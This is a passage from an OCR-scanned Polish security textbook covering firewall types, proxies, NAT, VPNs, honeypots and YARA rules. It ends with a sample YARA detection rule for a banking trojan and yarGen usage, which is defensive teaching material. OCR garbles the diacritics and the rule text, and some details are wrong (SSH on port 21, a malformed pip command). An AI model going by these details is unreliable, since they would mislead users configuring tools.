nawigzania potaczenia.

e Protokdt w uzyciu: Stuzy do sprawdzania, czy protokdt przenoszony przez pakiet powinien byé
dozwolony.

e Kierunek: Stuzy do sprawdzania, czy pakiet wchodzi do sieci prywatnej, czy z niej wychodzi.
e Interfejs: Stuzy do sprawdzania, czy pakiet pochodzi z niewiarygodnej strefy.
Zapora sieciowa na poziomie obwodu

Zapora ogniowa bramy na poziomie obwodu dziata w warstwie sesji modelu OSI lub w warstwie
transportowe] protokotu TCP/IP. Przekazuje dane miedzy sieciami bez weryfikacji i blokuje pakiety
przychodzgce od hosta, ale przepuszcza ruch przez siebie. Wydaje sie, ze informacje przekazywane do
komputeréw zdalnych przez brame na poziomie obwodu pochodzg z bramy, poniewaz ruch
przychodzgcy przenosi adres IP serwera proxy (brama na poziomie obwodu). Takie zapory monitorujg
zadania utworzenia sesji i okres$lajg, czy te sesje bedg dozwolone. Brama na poziomie obwodu
zapewnia kontrolowany dostep do ustug sieciowych i zgdan hosta. Aby okresli¢, czy zadana sesja jest
wazna, sprawdza uzgadnianie protokotu TCP miedzy pakietami. Zapory obwodowe proxy zezwalajg na
strumienie danych lub uniemozliwiajg je; nie filtrujg pojedynczych pakietéw. Sg stosunkowo niedrogie
i ukrywajg informacje o sieci prywatnej, ktérg chronia.

Zapora sieciowa na poziomie aplikacji

Zapory proxy oparte na aplikacjach koncentrujg sie na warstwie aplikacji, a nie tylko na pakietach.
Bramy na poziomie aplikacji (proxy) mogg filtrowa¢ pakiety w warstwie aplikacji modelu OSI (lub w
warstwie aplikacji protokotu TCP/IP). Ruch przychodzacy i wychodzacy jest ograniczony do ustug
obstugiwanych przez serwer proxy; wszystkie inne zgtoszenia serwisowe sg odrzucane. Potrzeba
zapory na poziomie aplikacji wynika z ogromnej ilosci ruchu gtosowego, wideo i wspétpracy w warstwie
tacza danych i warstwie sieci, ktéry moze by¢ wykorzystany do nieautoryzowanego dostepu do sieci
wewnetrznych i zewnetrznych. Bramy na poziomie aplikacji skonfigurowane jako serwery proxy sieci
Web uniemozliwiajg ruch FTP, gopher, telnet lub inny. Badajg ruch i filtrujg polecenia specyficzne dla
aplikacji, takie jak HTTP: post i get. Tradycyjne zapory ogniowe nie sg w stanie filtrowaé tego typu
ruchu. Mogg sprawdzaé, znajdowac i weryfikowaé ztosliwy ruch, ktéry jest pomijany przez zapory z
inspekcjg stanu, aby podejmowac decyzje dotyczace zezwolenia na dostep, a takze poprawiajg ogdlne
bezpieczenstwo warstwy aplikacji. Na przyktad robaki, ktére wysytajg szkodliwy kod w legalnych
protokofach, nie mogg zosta¢ wykryte przez zapory ogniowe, poniewaz zapory proxy koncentrujg sie
na nagtéwkach pakietéw w warstwie sieciowej. Jednak zapory ogniowe z gtebokg inspekcjg pakietow
moga wykrywac takie ataki za pomocg sygnatur informacyjnych dodawanych do pakietéw.

Oto niektdre funkcje zapdr sieciowych na poziomie aplikacji:

Analizujg informacje o aplikacji, aby podjgé decyzje o zezwoleniu na ruch.



Opierajac sie na proxy, mogg zezwalaé¢ na ruch lub odmawiaé¢ go w zaleznosci od autentycznosci
uzytkownika lub zaangazowanego procesu.

Serwer proxy do buforowania zawartosci optymalizuje wydajnos¢, przechowujgc w pamieci podrecznej
czesto uzywane informacje zamiast wysyfania do serweréw nowych zgdan dotyczacych tych samych
starych danych.

Zapory sieciowe warstwy aplikacji moga dziata¢ w jednym z dwéch trybow: aktywnym lub pasywnym.

Aktywne zapory ogniowe na poziomie aplikacji: badajg wszystkie przychodzgce zgdania, w tym
rzeczywista wymieniang wiadomos¢, pod katem znanych luk, takich jak iniekcja SQL, manipulowanie
parametrami i plikami cookie oraz skrypty miedzy witrynami. Zadania uznane za autentyczne moga
przez nie przechodzié.

Pasywne zapory ogniowe na poziomie aplikacji: Dziataja podobnie do IDS, poniewaz sprawdzajg
wszystkie przychodzace zgdania pod katem znanych luk w zabezpieczeniach, ale nie odrzucajg
aktywnie ani nie odrzucajg tych zadan w przypadku wykrycia potencjalnego ataku.

Wielowarstwowa zapora sieciowa ze stanowa kontrola

Zapory ognhiowe z wielowarstwowg inspekcjg stanowa tgcza aspekty trzech wyzej wymienionych typéw
zapor ogniowych (filtrowanie pakietéw, bramy na poziomie obwoddw i zapory na poziomie aplikacji).
Filtrujg pakiety w warstwie sieciowej modelu OSI (lub w warstwie internetowej modelu TCP/IP), aby
okresli¢, czy pakiety sesji s prawidtowe, i oceniajg zawartos¢ pakietow w warstwie aplikacji. Uzywajac
stanowego filtrowania pakietdw, mozesz przezwyciezy¢ ograniczenia zapor pakietow, ktére mogg
filtrowaé tylko adres IP, port, protokot itd. Ta wielowarstwowa zapora ogniowa moze przeprowadzac
gteboka inspekcje pakietéw.

Funkcje zapory wielowarstwowej kontroli stanowej:

Ten typ zapory moze zapamietywal pakiety, ktdre przeszty przez nig wczesniej i odpowiednio
podejmowac decyzje dotyczgce przysztych pakietow.

e Zapory te tgczg w sobie najlepsze cechy zaréwno filtrowania pakietdw, jak i filtrowania opartego na
aplikacjach.

e Zapory Cisco PIX sg stanowe.
Te zapory $ledzg i rejestrujg gniazda lub ttumaczenia.
Petnomocnik aplikacji

Serwer proxy na poziomie aplikacji dziata jako serwer proxy i filtruje potaczenia dla okreslonych ustug.
Filtruje pofaczenia na podstawie ustug i protokotdw, dziatajgc jako proxy. Na przyktad serwer proxy FTP
zezwala tylko na przeptyw ruchu FTP, podczas gdy wszystkie inne ustugi i protokoty bedg blokowane.
Jest to rodzaj serwera, ktéry dziata jako interfejs miedzy stacjg roboczg uzytkownika a Internetem.
Koreluje z serwerem bramy i oddziela sie¢ firmowg od Internetu. Otrzymuje od uzytkownika zadanie
udostepnienia ustugi internetowej i odpowiada tylko na pierwotne zgdanie. Ustuga proxy to aplikacja
lub program, ktéry pomaga przekazywaé zgdania uzytkownikéw (na przyktad FTP lub Telnet) do
rzeczywistych ustug. Serwer proxy jest rowniez nazywany bramg na poziomie aplikacji, poniewaz
odnawia pofaczenia i dziata jako brama do ustug. Serwery proxy dziatajg na hoscie zapory ogniowej,
ktéry jest hostem z dwoma adresami domowymi lub innym hostem bastionowym ze wzgledéw
bezpieczenstwa. Niektdre serwery proxy, a mianowicie serwery proxy buforujace, poprawiajg
wydajnos¢ sieci. Przechowujg kopie zgdanych danych hostow, ktérych posredniczy. Takie serwery



proxy moga dostarczac dane bezposrednio, gdy wiele hostéw zgda tych samych danych. Serwery proxy
buforujgce pomagaja zmniejszyé obcigzenie potgczen sieciowych, podczas gdy serwery proxy
zapewniajg zaréwno bezpieczenstwo, jak i buforowanie. Ustuga proxy jest dostepna dla uzytkownika
w sieci wewnetrznej oraz ustuga w sieci zewnetrznej (Internet) i jest przejrzysta. Zamiast komunikacji
bezposredniej rozmawia z serwerem proxy i obstuguje catg komunikacje miedzy uzytkownikami a
ustugami internetowymi. Przejrzystosc jest gtdwng zaletg ustug proxy. Dla uzytkownika serwer proxy
stwarza ztudzenie, ze ma do czynienia bezposrednio z prawdziwym serwerem, podczas gdy dla
prawdziwego serwera serwer proxy stwarza ztudzenie, ze ma do czynienia bezposrednio z
uzytkownikiem.

Zalety

Ustugi proxy sg przydatne do rejestrowania, poniewaz moga zrozumiec protokoty aplikacji i skutecznie
umozliwiajg rejestrowanie.

Ustugi proxy zmniejszajg obcigzenie faczy sieciowych, poniewaz sg w stanie buforowac kopie czesto
zadanych danych i umozliwiajg ich bezposrednie tadowanie z systemu zamiast z sieci.

Systemy proxy wykonujg uwierzytelnianie na poziomie uzytkownika, poniewaz sg zaangazowane w
potgczenie.

Systemy proxy automatycznie chronig stabe lub wadliwe implementacje IP, gdy znajdujg sie miedzy
klientem a Internetem i generujg nowe pakiety IP dla klienta.

Wady

Ustugi proxy pozostajg w tyle za ustugami innymi niz proxy, dopdki nie bedzie dostepne odpowiednie
oprogramowanie proxy.

Kazda ustuga w serwerze proxy moze korzystac z réznych serwerdw.
Ustugi proxy mogg wymagac zmian w kliencie, aplikacjach i procedurach.
Translacja adresow sieciowych (NAT)

Translacja adresdw sieciowych (NAT) rozdziela adresy IP na dwa zestawy i umozliwia sieci LAN
korzystanie z tych adreséw w ruchu wewnetrznym i zewnetrznym. NAT pomaga ukryé uktad sieci
wewnetrznej i wymusi¢ na potgczeniach przechodzenie przez waski punkt. Dziata réwniez z routerem
i podobnie jak filtrowanie pakietdw modyfikuje rowniez pakiety, ktore router wysyta jednoczesnie. Gdy
maszyna wewnetrzna przekazuje pakiet do maszyny zewnetrznej, NAT modyfikuje adres zrodtowy
pakietu, aby wygladat tak, jakby pochodzit z prawidtowego adresu. Gdy maszyna zewnetrzna wysyta
pakiet do maszyny wewnetrznej, NAT modyfikuje adres docelowy, aby zamienié widoczny adres na
prawidtowy adres wewnetrzny. NAT moze rowniez zmienia¢ numery portéw zrédtowych i docelowych.
Ogranicza liczbe publicznych adresow IP, z ktérych moze korzystaé organizacja. Moze dziata¢ jako
technika filtrowania zapory, w ktérej zezwala tylko na potgczenia pochodzace z sieci wewnetrznej i
blokuje potaczenia pochodzace z sieci zewnetrznej. Systemy NAT wykorzystujg rézne schematy
translacji miedzy adresami wewnetrznymi i zewnetrznymi:

® Przypisz jeden zewnetrzny adres hosta dla kazdego adresu wewnetrznego i zawsze stosuj te samg
translacje. Spowalnia to pofaczenia i nie zapewnia zadnych oszczednosci w przestrzeni adresowe;j.

e Dynamicznie przydzielaj adres hosta zewnetrznego bez modyfikowania numeréw portéw, gdy host
wewnetrzny inicjuje potaczenie. Ogranicza to liczbe hostow wewnetrznych, ktére moga jednoczesnie
uzyskiwaé dostep do Internetu, do liczby dostepnych adreséw zewnetrznych.



e Utwodrz state mapowanie adresow wewnetrznych na adresy widoczne zewnetrznie, ale uzyj
mapowania portéw, aby wiele komputeréw wewnetrznych uzywato tego samego adresu
zewnetrznego.

e Dynamicznie przydzielaj adres hosta zewnetrznego i pare portdow za kazdym razem, gdy host
wewnetrzny inicjuje pofaczenie. Umozliwia to najbardziej efektywne wykorzystanie zewnetrznych
adreséw hostow.

Zalety
Translacja adreséw sieciowych pomaga wymusic¢ kontrole zapory nad pofaczeniami wychodzacymi.

Ogranicza ruch przychodzacy i przepuszcza tylko pakiety, ktére sg czescig biezacej interakcji
inicjowanej od wewnatrz.

Pomaga ukry¢ konfiguracje sieci wewnetrznej, a tym samym obniza skutecznos$¢ atakéw na sie¢ lub
system.

Wady

System NAT musi odgadngé, jak dtugo ma przechowywaé dane ttumaczenie, co nie zawsze jest
mozliwe.

NAT ingeruje w systemy szyfrowania i uwierzytelniania, aby zapewnié bezpieczenstwo danych.
Dynamiczna alokacja portdw moze zaktdcac filtrowanie pakietow.
Wirtualne sieci prywatne

Wirtualna sie¢ prywatna (VPN) to sie¢ zapewniajgca bezpieczny dostep do sieci prywatnej przez
Internet. Sieci VPN stuzg do faczenia sieci rozlegtych (WAN). Umozliwiajg komputerom w jedne;j sieci
taczenie sie z komputerami w innej sieci. Stuzg do bezpiecznej transmisji poufnych informacji przez
niezaufang sie¢ poprzez enkapsulacje i szyfrowanie. Wykorzystujg szyfrowanie i ochrone integralnosci,
umozliwiajgc korzystanie z sieci publicznej jako sieci prywatnej. VPN wykonuje szyfrowanie i
deszyfrowanie poza granicami filtrowania pakietéw, aby umozliwi¢ kontrole pakietéw pochodzacych z
innych stron. Ustanawia wirtualne potgczenie punkt-punkt za pomoca dedykowanych potaczen. VPN
hermetyzuje réwniez pakiety wysytane przez Internet. tgczy w sobie zalety zaréwno sieci publicznych,
jak i prywatnych. Sieci VPN nie majg zadnego zwigzku z technologig zapér ogniowych, ale zapory s3
wygodne do dodawania funkcji VPN, poniewaz pomagajg w $wiadczeniu bezpiecznych ustug zdalnych.
Urzadzenie komputerowe z oprogramowaniem VPN moze uzyskiwa¢ dostep tylko do VPN. Wszystkie
sieci VPN dziatajgce w Internecie przyjmujg nastepujgce zasady:

Szyfruje ruch
Sprawdza ochrone integralnosci

Hermetyzuje nowe pakiety, ktére sg wysytane przez Internet do miejsca docelowego, ktére odwraca
proces enkapsulacji

Sprawdza integralnosc
Ostatecznie odszyfrowuje ruch

Zalety



VPN ukrywa caly przeptywajacy przez niego ruch, zapewnia szyfrowanie i chroni dane przed
szpiegowaniem.

Zapewnia zdalny dostep do protokotéw, jednoczesnie unikajgc atakujgcych z Internetu.

Wady

Poniewaz VPN dziata w sieci publicznej, uzytkownik bedzie narazony na atak na sie¢ docelowa.
Ograniczenia zapory

Chociaz zapory ogniowe sg niezbedne w strategii bezpieczenstwa, majg one nastepujgce ograniczenia:

Zapory ogniowe moga ogranicza¢ uzytkownikom dostep do cennych ustug, takich jak FTP, Telnet, NIS
itp., a czasami ograniczajg rowniez dostep do Internetu.

Firewall nie moze zapobiec atakom wewnetrznym (backdoor) w sieci, np. niezadowolonemu
pracownikowi wspdétpracujgcemu z zewnetrznym napastnikiem.

Zapora ogniowa skupia swoje zabezpieczenia w jednym punkcie, co sprawia, ze inne systemy w sieci
sg podatne na ataki bezpieczenistwa.

Waskie gardto moze wystgpié, jesli wszystkie potgczenia przechodzg przez zapore.

Zapora ogniowa nie moze chronic sieci przed atakami socjotechnicznymi i atakami opartymi na danych,
w ramach ktéorych osoba atakujgca wysyta ztosliwe tgcza i wiadomosci e-mail do pracownikéw
wewnatrz sieci.

Jesli urzadzenia zewnetrzne, takie jak laptopy, telefony komérkowe, przenosne dyski twarde itp., sg
juz zainfekowane i podtgczone do sieci, zapora nie moze chronié sieci przed tymi urzagdzeniami.

Zapora ogniowa nie jest w stanie odpowiednio chronié sieci przed wszystkimi typami wiruséw dnia
zerowego, ktdre prébujg jg omingé.

Zapora nie moze nic zrobi¢, jesli projekt i konfiguracja sieci sg wadliwe.

Zapora ogniowa nie jest alternatywa dla narzedzi antywirusowych lub chronigcych przed ztosliwym
oprogramowaniem.

Zapora ogniowa nie blokuje atakéw z wyzszego poziomu stosu protokotéw.

Zapora ogniowa nie zapobiega atakom pochodzgcym ze wspdlnych portéw i aplikacji.
Zapora nie zapobiega atakom z potgczen telefonicznych.

Zapora sieciowa nie jest w stanie zrozumie¢ ruchu tunelowanego.

Honeypot

Honeypot to system komputerowy w Internecie, ktérego celem jest przycigganie i tapanie w putapke
tych, ktérzy prébujg nieautoryzowanego lub nielegalnego wykorzystania systemu hosta do penetracji
sieci organizacji. Jest to fatszywe proxy uruchamiane w celu wrobienia atakujgcych poprzez
rejestrowanie ruchu przez nie, a nastepnie wysytanie skarg do dostawcéw ustug internetowych ofiar.
Nie ma autoryzowanej dziatalnosci ani wartosci produkcyjnej, a wszelki ruch do niego jest
prawdopodobnie sondg, atakiem Ilub kompromisem. Kazda interakcja z honeypotem jest
najprawdopodobniej ztosliwa. Honeypoty sg wyjatkowe; nie rozwigzujg konkretnego problemu.
Zamiast tego sg bardzo elastycznymi narzedziami z wieloma réznymi aplikacjami zabezpieczajgcymi.



Honeypoty pomagajg w zapobieganiu atakom, wykrywaniu atakdéw oraz gromadzeniu i badaniu
informacji. Honeypot moze rejestrowaé préby dostepu do portu lub monitorowaé nacisniecia klawiszy
atakujgcego; mogg to by¢ wczesne ostrzezenia przed bardziej skoordynowanym atakiem. Utrzymanie
honeypota wymaga znacznego wysitku.

Rodzaje Honeypotéw
Honeypots sg podzielone na nastepujace typy na podstawie ich kryteridéw projektowych:
Honeypoty o niskim poziomie interakcji

Honeypoty o niskim poziomie interakcji emulujg tylko ograniczong liczbe ustug i aplikacji docelowego
systemu lub sieci. Jesli atakujacy zrobi co$, czego nie oczekuje emulacja, honeypot po prostu
wygeneruje bfad. Przechwytujg ograniczone ilosci informacji, tj. gtéwnie dane transakcyjne i niektére
ograniczone interakcje. Tych honeypotdw nie mozna catkowicie skompromitowad. Ich zadaniem jest
zbieranie informacji wyzszego poziomu o wektorach ataku, takich jak sondy sieciowe i dziatania
robakéw. Niektére przyktady to Spectre, KFSensor i Honeytrap. KFSensor to honeypot o niskim
poziomie interakcji, stuzacy do przyciggania i identyfikowania penetracji. Implementuje wrazliwe
ustugi systemowe i trojany, aby przyciggna¢ hakeréw. Ten honeypot moze by¢ uzywany do
monitorowania wszystkich portéw i ustug TCP, UDP i ICMP. KFSensor identyfikuje i generuje alerty
dotyczace skanowania portéw i atakdéw DoS. Honeytrap to putapka typu honeypot o niskim poziomie
interakcji, uzywana do obserwowania atakéw na ustugi TCP i UDP. Dziata jako demon i dynamicznie
uruchamia procesy serwera na zgdanych portach. Atakujacy sg naktaniani do wysytania odpowiedzi do
procesu serwera honeytrap. Dane odbierane przez honeypot sg taczone w taricuch i przechowywane
w pliku bazy danych. Ten cigg jest nazywany ciggiem ataku. Honeytraps analizuje ciagi ataku dla
polecenia zgdajacego od serwera pobrania pliku z innego hosta w sieci. Jesli takie polecenie zostanie
wykryte, serwer probuje automatycznie uzyskaé dostep do odpowiedniego pliku. Obstuguje tylko
protokoty FTP i TFTP. Identyfikuje réwniez i rejestruje identyfikatory HTTP_URI.

Honeypoty o $redniej interakcji

Honeypoty o $redniej interakcji symulujg prawdziwy system operacyjny oraz aplikacje i ustugi sieci
docelowej. Zapewniajg wieksze btedne wyobrazenie o systemie operacyjnym niz honeypoty o niskim
poziomie interakcji. Dzieki temu mozliwe jest rejestrowanie i analizowanie bardziej ztozonych atakéw.
Te honeypoty przechwytujg wiecej uzytecznych danych niz honeypoty o niskim poziomie interakgji.
Moga reagowac tylko na wstepnie skonfigurowane polecenia; w zwigzku z tym ryzyko wtamania
wzrasta. Gtéwng wadg honeypotdw o sredniej interakcji jest to, ze atakujgcy moze szybko wykryé, ze
zachowanie systemu jest nieprawidtowe. Niektére przyktady honeypotéw o sredniej interakcji to
HoneyPy, Kojoney2 i Cowrie. Kojoney2 to honeypot o $redniej interakcji, ktéory emuluje prawdziwe
Srodowisko SSH. Ten honeypot nastuchuje na porcie 21 przychodzacych potaczen SSH. Jesli zostanie
zainicjowane zgdanie potaczenia, Kojoney2 zweryfikuje uzytkownikdw na wewnetrznej liscie
fatszywych uzytkownikéw. Zwykle potgczenia sg akceptowane poprzez przyznanie dostepu do powtoki
SSH. Symuluje wiele polecen powtoki, aby oszuka¢ atakujgcych. Korzystajgc z Kojoney2, osoby
atakujgce mogg pobieraé pliki za pomocg polecen wget i curl.

Honeypoty o wysokiej interakcji

W przeciwienstwie do swoich odpowiednikéw o niskiej i $redniej interakcji, honeypoty o wysokiej
interakcji niczego nie nasladujg; uruchamiajg rzeczywiste podatne na ataki ustugi lub oprogramowanie
w systemach produkcyjnych z prawdziwym systemem operacyjnym i aplikacjami. Te honeypoty
symulujg wszystkie ustugi i aplikacje sieci docelowej. Mogg zosta¢ catkowicie zhakowane przez



atakujgcych, aby uzyskac petny dostep do systemu w kontrolowanym obszarze. Przechwytujg petne
informacje o wektorze ataku, takie jak techniki ataku, narzedzia i intencje. System honeypotized jest
bardziej podatny na infekcje, poniewaz préby ataku mogg by¢ przeprowadzane na rzeczywistych
systemach produkcyjnych. Honeynet jest doskonatym przyktadem honeypota o wysokiej interakcji. Nie
jest to ani produkt, ani oprogramowanie instalowane przez uzytkownika. Zamiast tego jest to
architektura — cafa sie¢ komputerdw zaprojektowana do atakowania. Chodzi o to, aby miec
architekture, ktéra tworzy wysoce kontrolowang sie¢ z prawdziwymi komputerami z prawdziwymi
aplikacjami, w ktérej wszystkie dziatania s3 monitorowane i rejestrowane. ,,Zli ludzie” znajduja, atakuja
i wtamujg sie do tych systemoéw z wtasnej inicjatywy. Kiedy to robig, nie zdajg sobie sprawy, ze sg w
putapce miodu. Bez wiedzy atakujgcych wszystkie ich dziatania i dziatania, od zaszyfrowanych sesji SSH
po przesytanie wiadomosci e-mail i plikdw, sg przechwytywane przez wstawianie modutéw jadra do
ich systemdw. Jednoczesnie honeynet kontroluje aktywnos¢ atakujgcego. Sieci Honeynet robig to za
pomocg bramy typu honeywall, ktéra przepuszcza ruch przychodzacy do systemoéw ofiary, ale
kontroluje ruch wychodzacy za pomocg technologii zapobiegania wtamaniom. To daje atakujgcemu
elastycznos¢ interakcji z systemami ofiary, ale uniemozliwia atakujgcemu wyrzadzenie szkody innym
komputerom nienalezgcym do sieci Honeynet.

Czyste Honeypoty

Czyste honeypoty nasladujg rzeczywistg sie¢ produkcyjng docelowej organizacji. Sprawiajg, ze osoby
atakujgce poswiecajg swdj czas i zasoby na atakowanie krytycznego systemu produkcyjnego firmy.
Atakujacy odkrywajg i wykrywajg luki w zabezpieczeniach oraz wyzwalajg alerty, ktére pomagajg
administratorom sieci w dostarczaniu wczesnych ostrzezen o atakach, a tym samym zmniejszaniu
ryzyka wtamania. Honeypoty dzielg sie na nastepujace typy w zalezno$ci od strategii wdrazania:

Honeypoty produkcyjne

Honeypoty produkcyjne sg wdrazane w sieci produkcyjnej organizacji wraz z innymi serwerami
produkcyjnymi. Chociaz takie honeypoty poprawiajg ogdlny stan bezpieczenstwa organizacji,
skutecznie przechwytujg tylko ograniczong ilos¢ informacji zwigzanych z adwersarzami. Takie
honeypoty nalezg do kategorii honeypotdéw o niskiej interakcji i sg szeroko stosowane przez duze
organizacje i korporacje. Poniewaz produkcyjne honeypoty sg wdrazane wewnetrznie, pomagajg
rowniez znalez¢ wewnetrzne wady i osoby atakujgce w organizacji.

Honeypoty badawcze

Honeypoty badawcze to wysoce interaktywne honeypoty stosowane gtdwnie przez instytuty
badawcze, rzady lub organizacje wojskowe w celu uzyskania szczegétowej wiedzy o dziataniach
intruzéw. Korzystajgc z takich honeypotdéw, analitycy bezpieczernstwa mogg uzyskaé szczegdtowe
informacje o tym, jak przeprowadzany jest atak, wykorzystywane sg luki oraz techniki i metody ataku
stosowane przez atakujgcych. Ta analiza z kolei moze pomadc organizacji w ulepszeniu mechanizmow
zapobiegania atakom, wykrywania i bezpieczedstwa oraz w opracowaniu bezpieczniejszej
infrastruktury sieciowej. Gtdwng wadg honeypotdéw badawczych jest to, ze nie przyczyniajg sie one do
bezposredniego bezpieczenstwa firmy. Jesli firma chce ulepszy¢ swojg infrastrukture produkcyjng,
powinna zdecydowac sie na produkcyjne honeypoty. Honeypots sg podzielone na nastepujace typy w
oparciu o ich technologie oszustwa:

Honeypoty ztosliwego oprogramowania

Honeypoty ztosliwego oprogramowania stuzg do wytapywania kampanii ztosliwego oprogramowania
lub préb ztosliwego oprogramowania w infrastrukturze sieciowej. Te honeypoty s3 symulowane ze



znanymi lukami w zabezpieczeniach, takimi jak przestarzate interfejsy API, podatne na ataki protokoty
SMBUvI itp., a takze emulujg rézne trojany, wirusy i backdoory, ktére zachecajg adwersarzy do
wykonywania dziatan zwigzanych z wykorzystywaniem. Te putapki typu honeypot zwabiajg
atakujgcego lub ztosliwe oprogramowanie do przeprowadzania atakdéw, na podstawie ktérych mozna
skutecznie zidentyfikowaé wzorzec ataku, sygnatury ztosliwego oprogramowania i osoby
odpowiedzialne za zagrozenie ztosliwym oprogramowaniem.

Honeypoty bazy danych

Honeypoty bazy danych wykorzystujg fatszywe bazy danych, ktére sg podatne na przeprowadzanie
atakdéw zwigzanych z bazami danych, takich jak wstrzykiwanie kodu SQL i wyliczanie bazy danych. Te
fatszywe bazy danych oszukujg atakujgcych, sprawiajgc, ze myslg, ze te bazy danych zawierajg
kluczowe poufne informacje, takie jak dane kart kredytowych wszystkich klientéw i bazy danych
pracownikow. Jednak wszystkie informacje obecne w bazie danych sg fatszywe i symulowane. Takie
bazy danych, wykorzystujac swoje stabe punkty, zachecajg atakujgcego do przeprowadzania atakéw;
na podstawie atakéw mozna skutecznie zidentyfikowaé wzorzec ataku i HP aktora stanowigcego
zagrozenie w stosunku do atakéw na bazy danych.

Honeypoty ze spamem

Honeypoty ze spamem sg szczegdlnie ukierunkowane na spamerdéw, ktdrzy naduzywajg wrazliwych
zasobow, takich jak otwarte przekazniki poczty i otwarte serwery proxy. Zasadniczo putapki spamowe
sktadajg sie z serwerdéw pocztowych, ktére celowo przyjmujg wiadomosci e-mail z dowolnego
losowego zrédta z Internetu. Dostarczajg one kluczowych informacji o spamerach i ich dziatalnosci.

Wysytaj e-maile do Honeypotéow

Honeypoty e-mailowe sg réwniez nazywane putapkami e-mailowymi. Sg to nic innego jak fatszywe
adresy e-mail, ktére sg specjalnie wykorzystywane do przyciggania fatszywych i zto$liwych wiadomosci
e-mail od przeciwnikdw. Te fatszywe identyfikatory e-mail bedg rozpowszechniane w otwartym
Internecie i ciemnej sieci, aby zwabié cyberprzestepcédw do wykonywania réznych ztosliwych dziatan w
celu wykorzystania organizacji. Dzieki ciggtemu monitorowaniu przychodzgcych wiadomosci e-mail
administratorzy mogg zidentyfikowac techniki oszukiwania przeciwnika, a pracownicy wewnetrzni
moga zostac ostrzezeni, aby unikali wpadniecia w takie putapki e-mailowe.

Pajaki Honeypots

Honeypoty na pajgki nazywane s rowniez putapkami na pajaki. Te honeypoty sg specjalnie
zaprojektowane do fapania robotéw sieciowych i pajgkéw. Wiele cyberprzestepcéw przeprowadza
indeksowanie i przeszukiwanie sieci w celu wydobycia waznych informacji z aplikacji internetowych.
Takie kluczowe informacje obejmujg adresy URL, dane kontaktowe, dane katalogowe itp. Pajaki typu
honeypot sg wykorzystywane do tapania takich przeciwnikéw. Fatszywa strona internetowa bedzie
emulowana i przedstawiana jako legalna. Zagrozenia prébujace przeszukiwad sie¢ na takich putapkach
zostang zidentyfikowane i umieszczone na czarnej liscie.

Honeynets

Honeynets to sieci honeypotdéw. Sg bardzo skuteczni w okreslaniu catych mozliwosci przeciwnikow.
Sieci Honeynet sg najczesciej wdrazane w odizolowanym srodowisku wirtualnym wraz z kombinacjg
wrazliwych serwerdw. Rézne TTP wykorzystywane przez rézinych atakujgcych do wyliczania i
wykorzystywania sieci beda rejestrowane, a informacje te mogg by¢ bardzo skuteczne w okreslaniu
petnych mozliwosci przeciwnika.



Rozwiazania IDS, IPS, Firewall i Honeypot

W poprzedniej sekcji oméwiono funkcje, role i rozmieszczenie IDS, IPS, zapdr ogniowych i honeypotéw
do zabezpieczania sieci. Dostepnych jest wiele fatwych w uzyciu i wzbogaconych w funkcje rozwigzan
(sprzetowych, programowych lub obu) do wdrazania IDS, IPS, zapér ogniowych i honeypotow. W tej
sekcji oméwiono niektdre dostepne na rynku rozwigzania, ktore upraszczajg korzystanie z IDS, IPS,
zapdr ogniowych i honeypotdw.

Wykrywanie wtaman przy uzyciu regut YARA

YARA to narzedzie do badania ztosliwego oprogramowania, ktére umozliwia analitykom
bezpieczenstwa wykrywanie i klasyfikowanie ztosliwego oprogramowania lub innych ztosliwych kodow
za pomocg podejscia opartego na regutach. Jest to réwniez wieloplatformowe narzedzie dziatajagce w
systemach operacyjnych Windows, macOS i Linux. To narzedzie umozliwia analitykom bezpieczenstwa
tworzenie ,regut” lub opisdw rodzin ztosliwego oprogramowania w postaci wzorcéw tekstowych lub
binarnych. Utworzone reguty analizujg okreslone wzorce w pliku i ostrzegaja analitykéw
bezpieczenstwa, jesli plik jest szkodliwy. Opis lub reguta sktada sie z wyrazenia logicznego i ciggéw
znakow, ktore okreslajg logike, ktdra za nim stoi. Analitycy bezpieczenstwa mogg réwniez napisaé
reguty YARA do badania prywatnej bazy danych lub ztosliwych plikéw binarnych w catej organizacji w
celu wykrywania wtaman. Co wiecej, analitycy bezpieczennstwa mogg rowniez uzywaé rdinych
wzorcow, takich jak szesnastkowy lub zwykty tekst, wraz z innymi specjalnymi operatorami i
tancuchami w regule YARA, aby skutecznie wykrywaé szerokg game sygnatur ztosliwego
oprogramowania. Reguty YARA sg zgodne ze skfadnig, w ktoérej kazda reguta zaczyna sie od stowa
,reguta” przed okredleniem jej nazwy. Reguta sktada sie z trzech czesci, ktdre sg nastepujace:

Warunek: Ta sekcja reguty YARA okresla, kiedy wynik bedzie prawdziwy dla pliku, ktéry mozna zbadad.
Sktada sie z wyrazen boolowskich, ktére pozwalajg na zdefiniowanie dopasowania lub wyniku.

Ciggi: nadaje znaczenie sekcji ,warunek” poprzez zdefiniowanie wszystkich ciggdéw, ktére nalezy
przeszukaé¢ w plikach. Reguta moze przeszukiwad kilka typdw ciggow, takich jak ciggi szesnastkowe,
ciggi tekstowe lub wyrazenia regularne.

Metadane: Jest to czes¢ reguty YARA, ktéra zawiera ogodlne informacje, ktérych analityk
bezpieczenstwa moze uzy¢ do zidentyfikowania plikdw zebranych przez okreslong regute.

Przyktad reguty YARA zgodnie z oficjalng dokumentacjg YARA jest nastepujacy:
rule silent banker : banker

{

meta:

description = "This is just an example"

threat level =3

in the wild = true

strings:

Sa ={6A 40 68 00 30 00 00 6A 14 8D 91}

Sb ={8D 4D B0 2B CI 83 CO 27 99 6A 4E 59 F7 F9}

Sc = "UVODFRYSIHLNWPEJXQZAKCBGMT"



condition:
Saor Sb or Sc
}

Na podstawie powyzszej sktadni eksperci ds. bezpieczeristwa mogg stwierdzi¢, ze ktérykolwiek z tych
trzech zdefiniowanych ciggdw nalezy uznaé za trojana ,siient_banker”. Ponadto tarcuchy w
powyzszym przyktadzie sktadajg sie zardwno z wzorcéw szesnastkowych, jak i tekstowych.

yarGen

yarGen to narzedzie stuzace do generowania regut YARA. Gtéwnga zasada tego narzedzia jest tworzenie
regut YARA z ciggéw znakéw zidentyfikowanych w plikach szkodliwego oprogramowania przy
jednoczesnym usuwaniu wszystkich ciggow, ktére pojawiajg sie rowniez w plikach goodware. To
narzedzie zawiera duze faincuchy goodware i baze danych opcode jako archiwa ZIP, ktére nalezy
rozpakowac przed wdrozeniem. Wszystkie zaleznosci tego narzedzia mozna zainstalowad za pomocg
polecenia pip install requirements.txt. Ponadto uzytkownik moze uruchomié pomoc python yarGen.py,
aby uzyskaé¢ dodatkowe informacje na temat parametrow wiersza polecen.

Ponizej wymieniono niektdre dodatkowe narzedzia YARA:
YaraRET (https://githubhot.com)

Koodous (https://docs.koodous.com)

